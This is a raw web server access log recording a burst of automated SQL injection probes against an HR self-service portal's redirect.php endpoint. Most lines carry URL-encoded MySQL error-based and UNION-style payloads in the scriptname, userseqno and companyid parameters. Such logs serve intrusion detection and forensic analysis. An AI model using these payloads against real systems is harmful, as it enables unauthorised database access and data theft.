100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x46455242%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57504a49%29%2C5431%29--%2F%2A%2A%2FS5Zr&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b354864%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58686959%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FWTiq&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4c446b56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b32506e%29%2C5431%29--%2F%2A%2A%2FGLdC&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7671587a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x306c7a73%29%29%2C1%29--%2F%2A%2A%2FbvjA&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x41584473%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73594a49%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FTCTd&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c484b52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6b3455%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FEXVF&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4d4c5254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47686a37%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FQ6ME&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b477a59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714a4164%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FmIV7&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x39303842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546d6a48%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F91CP%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x39303842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546d6a48%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F91CP%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x57687177%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x444c4857%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x57687177%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x444c4857%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4778767a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e6f3267%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FRVwu%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4778767a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e6f3267%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FRVwu%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x69535a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75675061%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FHWx8%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x69535a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75675061%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FHWx8%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x43746a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x734a4f7a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x43746a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x734a4f7a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x39303842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546d6a48%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F91CP%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x57687177%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x444c4857%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4778767a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e6f3267%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FRVwu%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x517a4836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72354249%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FQe2S%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x69535a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75675061%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FHWx8%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249
